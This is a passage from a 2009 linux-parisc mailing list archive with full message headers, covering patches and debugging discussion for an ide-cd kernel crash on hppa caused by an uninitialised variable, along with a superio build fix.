 [<10112efc>] do_cpu_irq_mask+0x9c/0xd0
 [<10116068>] intr_return+0x0/0x4

This crash seems to happen due to an uninitialized variable "rc".
The compiler even warns about that:
  CC      drivers/ide/ide-cd.o                                                         
/mnt/sda4/home/cvs/parisc/git-kernel/linus-linux-2.6/drivers/ide/ide-cd.c: In function `cdrom_newpc_intr':
/mnt/sda4/home/cvs/parisc/git-kernel/linus-linux-2.6/drivers/ide/ide-cd.c:612: warning: `rc' might be used uninitialized in this function

After applying the trivial patch below, which just initializes 
the variable to zero, the kernel doesn't crash any longer:

Starting the hotplug events dispatcher: udevd.
Synthesizing the initial hotplug events...
hda: command error: status=0x51 { DriveReady SeekComplete Error }
hda: command error: error=0x54 <3>{ AbortedCommand LastFailedSense=0x05 }
ide: failed opcode was: unknown
done.

Signed-off-by: Helge Deller <deller@gmx.de>


diff --git a/drivers/ide/ide-cd.c b/drivers/ide/ide-cd.c
index 3aec19d..3d4e099 100644
--- a/drivers/ide/ide-cd.c
+++ b/drivers/ide/ide-cd.c
@@ -609,7 +609,7 @@ static ide_startstop_t cdrom_newpc_intr(ide_drive_t *drive)
 	struct request *rq = hwif->rq;
 	ide_expiry_t *expiry = NULL;
 	int dma_error = 0, dma, thislen, uptodate = 0;
-	int write = (rq_data_dir(rq) == WRITE) ? 1 : 0, rc, nsectors;
+	int write = (rq_data_dir(rq) == WRITE) ? 1 : 0, rc = 0, nsectors;
 	int sense = blk_sense_request(rq);
 	unsigned int timeout;
 	u16 len;
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Borislav Petkov <petkovbb@googlemail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] ide-cd: fix kernel crash on hppa regression
Date: Thu, 16 Apr 2009 08:37:35 +0200
Lines: 57
Approved: news@gmane.org
Message-ID: <20090416063735.GA21742@liondog.tnic>
References: <49E6638B.8090700@gmx.de>
Reply-To: petkovbb@gmail.com
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
X-Trace: ger.gmane.org 1239863872 16985 80.91.229.12 (16 Apr 2009 06:37:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 16 Apr 2009 06:37:52 +0000 (UTC)
Cc: Linus <torvalds@linux-foundation.org>,
	Borislav Petkov <petkovbb@googlemail.com>,
	Bartlomiej Zolnierkiewicz <bzolnier@gmail.com>,
	Kyle McMartin <kyle@mcmartin.ca>,
	linux-parisc <linux-parisc@vger.kernel.org>,
	"Rafael J. Wysocki" <rjw@sisk.pl>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Apr 16 08:39:10 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LuLFd-0003o2-Ll
	for glpp-linux-parisc@gmane.org; Thu, 16 Apr 2009 08:39:10 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752518AbZDPGhm (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 16 Apr 2009 02:37:42 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751226AbZDPGhm
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 16 Apr 2009 02:37:42 -0400
Original-Received: from mail-bw0-f169.google.com ([209.85.218.169]:65180 "EHLO
	mail-bw0-f169.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752518AbZDPGhl (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 16 Apr 2009 02:37:41 -0400
Original-Received: by bwz17 with SMTP id 17so226013bwz.37
        for <linux-parisc@vger.kernel.org>; Wed, 15 Apr 2009 23:37:39 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=googlemail.com; s=gamma;
        h=domainkey-signature:received:received:received:date:from:to:cc
         :subject:message-id:reply-to:references:mime-version:content-type
         :content-disposition:in-reply-to:user-agent;
        bh=dq1//O3eYOgBVTB4qa8k0qYAVjYvMaLOZ5CeE79drHE=;
        b=FxWeMTO/gDppHlcoZDPgqAMwE2o77loPkX8RcQw25VnzTPeOy7rMBWCfhJT1wlnmid
         uQ4Bq2LU7+0oAv0MetiqUr1HoGhFVn8tO3rXFusTX+SIXUoM7tCqBFNfA5Bv6EXUe5oB
         p2EF9NK2vXcpiE8+EAoawNTj6sL9wTid1HxjI=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=googlemail.com; s=gamma;
        h=date:from:to:cc:subject:message-id:reply-to:references:mime-version
         :content-type:content-disposition:in-reply-to:user-agent;
        b=sd83EWutBRINoK7e/1QHr+pF7iZcT802gItjt7O9vCiViQ84O0+XkvUPHpO9r+jxFY
         VRKuaGDDcnSVbgfLmpUU2yZjzaUK4fVeTowmgC7QGqdShY1ZY68WUU4sqm+RmSMIKV23
         oUy0QoAAhOJUp0C0kNrAWwBLhhs2B4I8CHGNI=
Original-Received: by 10.204.100.70 with SMTP id x6mr927929bkn.140.1239863859899;
        Wed, 15 Apr 2009 23:37:39 -0700 (PDT)
Original-Received: from liondog.tnic (f053086120.adsl.alicedsl.de [78.53.86.120])
        by mx.google.com with ESMTPS id y15sm927535fkd.19.2009.04.15.23.37.39
        (version=TLSv1/SSLv3 cipher=RC4-MD5);
        Wed, 15 Apr 2009 23:37:39 -0700 (PDT)
Original-Received: by liondog.tnic (Postfix, from userid 1000)
	id 8DC5F28C052; Thu, 16 Apr 2009 08:37:35 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <49E6638B.8090700@gmx.de>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1550
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1550>

Hi,

On Thu, Apr 16, 2009 at 12:45:31AM +0200, Helge Deller wrote:
> With 2.6.30-rc2 I face a kernel crash on the 32bit hppa architecture 
> due to ide-cd when udev creates the device nodes at startup:
> 
> Kernel Fault: Code=26 regs=8ed34c40 (Addr=00000024)
> IASQ: 00000000 00000000 IAOQ: 1034b5ac 1034b5b0
>  IIR: 4ab30048    ISR: 00000000  IOR: 00000024
>  CPU:        0   CR30: 8ed34000 CR31: ffff55ff
>  ORIG_R28: 00000000
>  IAOQ[0]: ide_complete_rq+0x2c/0x70
>  IAOQ[1]: ide_complete_rq+0x30/0x70
>  RP(r2): cdrom_newpc_intr+0x178/0x46c
> Backtrace:
>  [<1035c608>] cdrom_newpc_intr+0x178/0x46c
>  [<1034c494>] ide_intr+0x1b0/0x214
>  [<1016d284>] handle_IRQ_event+0x70/0x150
>  [<1016d4b0>] __do_IRQ+0x14c/0x1cc
>  [<102f7864>] superio_interrupt+0x88/0xbc
>  [<1016d284>] handle_IRQ_event+0x70/0x150
>  [<1016d4b0>] __do_IRQ+0x14c/0x1cc
>  [<10112efc>] do_cpu_irq_mask+0x9c/0xd0
>  [<10116068>] intr_return+0x0/0x4
> 
> This crash seems to happen due to an uninitialized variable "rc".
> The compiler even warns about that:
>   CC      drivers/ide/ide-cd.o                                                         
> /mnt/sda4/home/cvs/parisc/git-kernel/linus-linux-2.6/drivers/ide/ide-cd.c: In function `cdrom_newpc_intr':
> /mnt/sda4/home/cvs/parisc/git-kernel/linus-linux-2.6/drivers/ide/ide-cd.c:612: warning: `rc' might be used uninitialized in this function

can you do

gdb ./vmlinux

and then

(gdb) l *(cdrom_newpc_intr+0x178)

I think I have a suspect but I want to be sure. In order to do that
you'll need a debug kernel (set CONFIG_DEBUG_INFO to 'y' in your
.config). In case the oops above is not from a debug kernel, can you
catch it again and _then_ do the gdb thing since the offset of 0x178 is
most probably going to change. In that case, you have to do

(gdb) l *(cdrom_newpc_intr+NEW_OFFSET_FROM_THE_OOPS)

Thanks.

-- 
Regards/Gruss,
    Boris.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:03 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alexander Beregalov <a.beregalov@gmail.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [PATCH] parisc/superio: fix build breakage
Date: Thu, 16 Apr 2009 18:45:59 +0400
Lines: 38
Approved: news@gmane.org
Message-ID: <1239893159-18112-1-git-send-email-a.beregalov@gmail.com>
NNTP-Posting-Host: lo.gmane.org
X-Trace: ger.gmane.org 1239893192 9338 80.91.229.12 (16 Apr 2009 14:46:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 16 Apr 2009 14:46:32 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org,
	Alexander Beregalov <a.beregalov@gmail.com>
To: alan@lxorguk.ukuu.org.uk
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Apr 16 16:47:51 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LuSsI-0005po-F3
	for glpp-linux-parisc@gmane.org; Thu, 16 Apr 2009 16:47:34 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753008AbZDPOqG (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 16 Apr 2009 10:46:06 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753472AbZDPOqG
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 16 Apr 2009 10:46:06 -0400
Original-Received: from mail-ew0-f165.google.com ([209.85.219.165]:59170 "EHLO
	mail-ew0-f165.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753008AbZDPOqF (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 16 Apr 2009 10:46:05 -0400
Original-Received: by ewy9 with SMTP id 9so446937ewy.37
        for <multiple recipients>; Thu, 16 Apr 2009 07:46:03 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:received:received:from:to:cc:subject:date
         :message-id:x-mailer;
        bh=C88tTn5Rge8kJvKthNua4uQa7ixWtpvkGP+8KlzzQVE=;
        b=VSfq7f2/HfIXv9yjYMKr6HTc4uKXVvqKkbE9GBeT2JB/cpdOlBA7aN+b6xadzmucpY
         nQ5xxQGR4K7wMDGzXpW5K7LaOcgCnYjZrqiPag4PPI1sCjI0hkeuRu4pOjDx0KzzDsGq
         y4/z2PcwLFdXOJhliZTW7TLSdpaP5qUHatSQc=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=from:to:cc:subject:date:message-id:x-mailer;
        b=PeZkBEzWR+26pR6+zAZ4xxWTwRqJfmGdznPiqFIWHf+CZ/QyTYOv1dHaK2VR7nkZfD
         yf9abqKp/wpqJdasnmXoER+0Ddu8BM7uUIFNTQNYkFeeWgREGIok9SgUfkkCkuRJOI/s
         MWpxLGDKDt6YYXGCA9m6IJ1P6AUjYfI5p+ORE=
Original-Received: by 10.216.72.206 with SMTP id t56mr263636wed.31.1239893163495;
        Thu, 16 Apr 2009 07:46:03 -0700 (PDT)
Original-Received: from localhost.localdomain (ppp91-78-17-228.pppoe.mtu-net.ru [91.78.17.228])
        by mx.google.com with ESMTPS id g9sm1389863gvc.6.2009.04.16.07.46.01
        (version=TLSv1/SSLv3 cipher=RC4-MD5);
        Thu, 16 Apr 2009 07:46:02 -0700 (PDT)
X-Mailer: git-send-email 1.6.2.3
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1551 gmane.linux.kernel:823375
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1551>

Usage of parport_pc_probe_port was changed in 28783eb52
(parport: Fix various uses of parport_pc).

It introduced this build error:
drivers/parisc/superio.c: In function 'superio_parport_init':
drivers/parisc/superio.c:437: error: too few arguments to function
				'parport_pc_probe_port'

Fix it.

Signed-off-by: Alexander Beregalov <a.beregalov@gmail.com>
---
 drivers/parisc/superio.c |    4 ++--
 1 files changed, 2 insertions(+), 2 deletions(-)

diff --git a/drivers/parisc/superio.c b/drivers/parisc/superio.c
index 33e5ade..9ab9796 100644
--- a/drivers/parisc/superio.c
+++ b/drivers/parisc/superio.c
@@ -434,8 +434,8 @@ static void __init superio_parport_init(void)
 			0 /*base_hi*/,
 			PAR_IRQ, 
 			PARPORT_DMA_NONE /* dma */,
-			NULL /*struct pci_dev* */),
-			0 /* shared irq flags */ )
+			NULL /*struct pci_dev* */,
+			0 /* shared irq flags */))
 
 		printk(KERN_WARNING PFX "Probing parallel port failed.\n");
 #endif	/* CONFIG_PARPORT_PC */
-- 
1.6.2.3

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] parisc/superio: fix build breakage
Date: Thu, 16 Apr 2009 12:14:35 -0400
Lines: 24
Approved: news@gmane.org
Message-ID: <20090416161435.GB21359@bombadil.infradead.org>
References: <1239893159-18112-1-git-send-email-a.beregalov@gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1239898505 28433 80.91.229.12 (16 Apr 2009 16:15:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 16 Apr 2009 16:15:05 +0000 (UTC)
Cc: alan@lxorguk.ukuu.org.uk, linux-parisc@vger.kernel.org,
	linux-kernel@vger.kernel.org
To: Alexander Beregalov <a.beregalov@gmail.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Apr 16 18:16:23 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LuUFy-0000re-0G
	for glpp-linux-parisc@gmane.org; Thu, 16 Apr 2009 18:16:06 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755378AbZDPQOi (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 16 Apr 2009 12:14:38 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1755925AbZDPQOi
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 16 Apr 2009 12:14:38 -0400
Original-Received: from bombadil.infradead.org ([18.85.46.34]:36801 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1755378AbZDPQOh (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 16 Apr 2009 12:14:37 -0400
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.69 #1 (Red Hat Linux))
	id 1LuUEV-00072m-Qx; Thu, 16 Apr 2009 16:14:35 +0000
Content-Disposition: inline
In-Reply-To: <1239893159-18112-1-git-send-email-a.beregalov@gmail.com>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1552 gmane.linux.kernel:823410
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1552>

On Thu, Apr 16, 2009 at 06:45:59PM +0400, Alexander Beregalov wrote:
> Usage of parport_pc_probe_port was changed in 28783eb52
> (parport: Fix various uses of parport_pc).
> 
> It introduced this build error:
> drivers/parisc/superio.c: In function 'superio_parport_init':
> drivers/parisc/superio.c:437: error: too few arguments to function
> 				'parport_pc_probe_port'
> 
> Fix it.
> 
> Signed-off-by: Alexander Beregalov <a.beregalov@gmail.com>

Hi Alexander,

Wei Yongjun sent this patch in a few days ago, and I've applied it, but
it appears I forgot to update patchwork or push out the fixes branch.

Cheers, Kyle
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] ide-cd: fix kernel crash on hppa regression
Date: Thu, 16 Apr 2009 22:26:06 +0200
Lines: 83
Approved: news@gmane.org
Message-ID: <49E7945E.7030508@gmx.de>
References: <49E6638B.8090700@gmx.de> <20090416063735.GA21742@liondog.tnic>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1239913659 14245 80.91.229.12 (16 Apr 2009 20:27:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 16 Apr 2009 20:27:39 +0000 (UTC)
Cc: Linus <torvalds@linux-foundation.org>,
	Borislav Petkov <petkovbb@googlemail.com>,
	Bartlomiej Zolnierkiewicz <bzolnier@gmail.com>,
	Kyle McMartin <kyle@mcmartin.ca>,
	linux-parisc <linux-parisc@vger.kernel.org>,
	"Rafael J. Wysocki" <rjw@sisk.pl>
To: petkovbb@gmail.com
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Apr 16 22:28:57 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LuYBT-00008h-Ea
	for glpp-linux-parisc@gmane.org; Thu, 16 Apr 2009 22:27:43 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754978AbZDPU0O (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 16 Apr 2009 16:26:14 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754928AbZDPU0N
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 16 Apr 2009 16:26:13 -0400
Original-Received: from mail.gmx.net ([213.165.64.20]:60187 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1754978AbZDPU0M (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 16 Apr 2009 16:26:12 -0400
Original-Received: (qmail invoked by alias); 16 Apr 2009 20:26:09 -0000
Original-Received: from mnhm-590ea193.pool.einsundeins.de (EHLO [192.168.178.60]) [89.14.161.147]
  by mail.gmx.net (mp007) with SMTP; 16 Apr 2009 22:26:09 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX18U8FktdEwU7NtCn2NF7lrgSFOpRVEbXsLPqfp1N0
	SD7nnCCBeljIws
User-Agent: Thunderbird 2.0.0.21 (X11/20090320)
In-Reply-To: <20090416063735.GA21742@liondog.tnic>
X-Enigmail-Version: 0.95.7
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.47
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1553
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1553>

Hi Borislav,

Borislav Petkov wrote:
> Hi,
> 
> On Thu, Apr 16, 2009 at 12:45:31AM +0200, Helge Deller wrote:
>> With 2.6.30-rc2 I face a kernel crash on the 32bit hppa architecture 
>> due to ide-cd when udev creates the device nodes at startup:
>>
>> Kernel Fault: Code=26 regs=8ed34c40 (Addr=00000024)
>> IASQ: 00000000 00000000 IAOQ: 1034b5ac 1034b5b0
>>  IIR: 4ab30048    ISR: 00000000  IOR: 00000024
>>  CPU:        0   CR30: 8ed34000 CR31: ffff55ff
>>  ORIG_R28: 00000000
>>  IAOQ[0]: ide_complete_rq+0x2c/0x70
>>  IAOQ[1]: ide_complete_rq+0x30/0x70
>>  RP(r2): cdrom_newpc_intr+0x178/0x46c
>> Backtrace:
>>  [<1035c608>] cdrom_newpc_intr+0x178/0x46c
>>  [<1034c494>] ide_intr+0x1b0/0x214
>>  [<1016d284>] handle_IRQ_event+0x70/0x150
>>  [<1016d4b0>] __do_IRQ+0x14c/0x1cc
>>  [<102f7864>] superio_interrupt+0x88/0xbc
>>  [<1016d284>] handle_IRQ_event+0x70/0x150
>>  [<1016d4b0>] __do_IRQ+0x14c/0x1cc
>>  [<10112efc>] do_cpu_irq_mask+0x9c/0xd0
>>  [<10116068>] intr_return+0x0/0x4
>>
>> This crash seems to happen due to an uninitialized variable "rc".
>> The compiler even warns about that:
>>   CC      drivers/ide/ide-cd.o                                                         
>> /mnt/sda4/home/cvs/parisc/git-kernel/linus-linux-2.6/drivers/ide/ide-cd.c: In function `cdrom_newpc_intr':
>> /mnt/sda4/home/cvs/parisc/git-kernel/linus-linux-2.6/drivers/ide/ide-cd.c:612: warning: `rc' might be used uninitialized in this function
> 
> can you do
> 
> gdb ./vmlinux
> 
> and then
> 
> (gdb) l *(cdrom_newpc_intr+0x178)
> 
> I think I have a suspect but I want to be sure. In order to do that
> you'll need a debug kernel (set CONFIG_DEBUG_INFO to 'y' in your
> .config). In case the oops above is not from a debug kernel, can you
> catch it again and _then_ do the gdb thing since the offset of 0x178 is
> most probably going to change. In that case, you have to do
> 
> (gdb) l *(cdrom_newpc_intr+NEW_OFFSET_FROM_THE_OOPS)

I tried to build a kernel with CONFIG_DEBUG_INFO.
There are two problem with that, because I'm cross-compiling:
a) I don't have a cross-gdb (but I could use addr2line instead though)
b) the resulting kernel is becoming too big and won't link/boot:
...
  SYSMAP  System.map
  SYSMAP  .tmp_System.map
/sbin/palo -f /mnt/sda4/home/cvs/parisc/git-kernel/linus-linux-2.6-32bit/palo.conf
palo version 1.14 deller@p100 Fri Jul 28 22:55:11 CEST 2006
ELF32 executable
ipl: addr 2048 size 36864 entry 0x0
 ko 0x0 ksz 0 k64o 0x0 k64sz 0 rdo 0 rdsz 0
<>
Your 32-bit-kernel is too big for your F0 partition
make[3]: *** [palo] Error 2

I could now just try to look into the assembly by hand and try
to find which line produces the problem. But reading hppa assembly code
for such a big function is not very easy though.

So, my question would be:
If you have an idea where the problem is, maybe you have a patch for me to try?
That would simplify the whole thing for me a lot, as just compiling/run-testing is much easier for me.

Best regards,
Helge

BTW, even with my patch ATAPI CDROM accesses don't work with the current kernel...
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Borislav Petkov <petkovbb@googlemail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] ide-cd: fix kernel crash on hppa regression
Date: Fri, 17 Apr 2009 08:53:44 +0200
Lines: 41
Approved: news@gmane.org
Message-ID: <20090417065344.GC6806@liondog.tnic>
References: <49E6638B.8090700@gmx.de> <20090416063735.GA21742@liondog.tnic> <49E7945E.7030508@gmx.de>
Reply-To: petkovbb@gmail.com
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
X-Trace: ger.gmane.org 1239951242 31467 80.91.229.12 (17 Apr 2009 06:54:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 17 Apr 2009 06:54:02 +0000 (UTC)
Cc: Linus <torvalds@linux-foundation.org>,
	Borislav Petkov <petkovbb@googlemail.com>,
	Bartlomiej Zolnierkiewicz <bzolnier@gmail.com>,
	Kyle McMartin <kyle@mcmartin.ca>,
	linux-parisc <linux-parisc@vger.kernel.org>,
	"Rafael J. Wysocki" <rjw@sisk.pl>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Apr 17 08:55:20 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Luhyp-000335-BL
	for glpp-linux-parisc@gmane.org; Fri, 17 Apr 2009 08:55:19 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754192AbZDQGxv (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 17 Apr 2009 02:53:51 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754671AbZDQGxv
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 17 Apr 2009 02:53:51 -0400
Original-Received: from mail-fx0-f158.google.com ([209.85.220.158]:64184 "EHLO
	mail-fx0-f158.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754192AbZDQGxv (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 17 Apr 2009 02:53:51 -0400
Original-Received: by fxm2 with SMTP id 2so748847fxm.37
        for <linux-parisc@vger.kernel.org>; Thu, 16 Apr 2009 23:53:49 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=googlemail.com; s=gamma;
        h=domainkey-signature:received:received:received:date:from:to:cc
         :subject:message-id:reply-to:references:mime-version:content-type
         :content-disposition:in-reply-to:user-agent;
        bh=vdmqb8Vf0JLSrz6byq17QqpnPL7KdeLi1dLO8wzW33U=;
        b=U9ZaN+e2XKXLInz4CbYHHzWeivKzYqUzAHLnb4KVt1gEZ4r58IYZcAnrkp6XbnQVZj
         Z5aYKmdEaDtlzeyiOcL6BJ7xYWyroJSRa7zwNcoIibmm1YbzLXTIt4kThjo9AXG8XOXt
         ip4IGXegOI8E2oYWxlNka2hpSPrEFpHpj1HU8=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=googlemail.com; s=gamma;
        h=date:from:to:cc:subject:message-id:reply-to:references:mime-version
         :content-type:content-disposition:in-reply-to:user-agent;
        b=QyCKwBolx+2RjXZpGkmzvggW92N1mUqjeuBX+u24rpWDGYhxVqqJcR5eAnMaS9UvWL
         xPb+ML2TY6TSNvvsThyOuJAEOjc3owqQGWWmepRw1uHZ55YEVOcZIFb6WyO7Xj17IAy2
         f4mXTpk20uSHECfKI1/m/RVjQqzNNIGNbkorQ=
Original-Received: by 10.204.124.7 with SMTP id s7mr1952092bkr.189.1239951228932;
        Thu, 16 Apr 2009 23:53:48 -0700 (PDT)
Original-Received: from liondog.tnic (f053087039.adsl.alicedsl.de [78.53.87.39])
        by mx.google.com with ESMTPS id f31sm2665526fkf.16.2009.04.16.23.53.48
        (version=TLSv1/SSLv3 cipher=RC4-MD5);
        Thu, 16 Apr 2009 23:53:48 -0700 (PDT)
Original-Received: by liondog.tnic (Postfix, from userid 1000)
	id F216528C052; Fri, 17 Apr 2009 08:53:44 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <49E7945E.7030508@gmx.de>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1554
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1554>

Hi,

On Thu, Apr 16, 2009 at 10:26:06PM +0200, Helge Deller wrote:

[..]

> I tried to build a kernel with CONFIG_DEBUG_INFO.
> There are two problem with that, because I'm cross-compiling:
> a) I don't have a cross-gdb (but I could use addr2line instead though)
> b) the resulting kernel is becoming too big and won't link/boot:
> ...
>   SYSMAP  System.map
>   SYSMAP  .tmp_System.map
> /sbin/palo -f /mnt/sda4/home/cvs/parisc/git-kernel/linus-linux-2.6-32bit/palo.conf
> palo version 1.14 deller@p100 Fri Jul 28 22:55:11 CEST 2006
> ELF32 executable
> ipl: addr 2048 size 36864 entry 0x0
>  ko 0x0 ksz 0 k64o 0x0 k64sz 0 rdo 0 rdsz 0
> <>
> Your 32-bit-kernel is too big for your F0 partition
> make[3]: *** [palo] Error 2
> 
> I could now just try to look into the assembly by hand and try
> to find which line produces the problem. But reading hppa assembly code
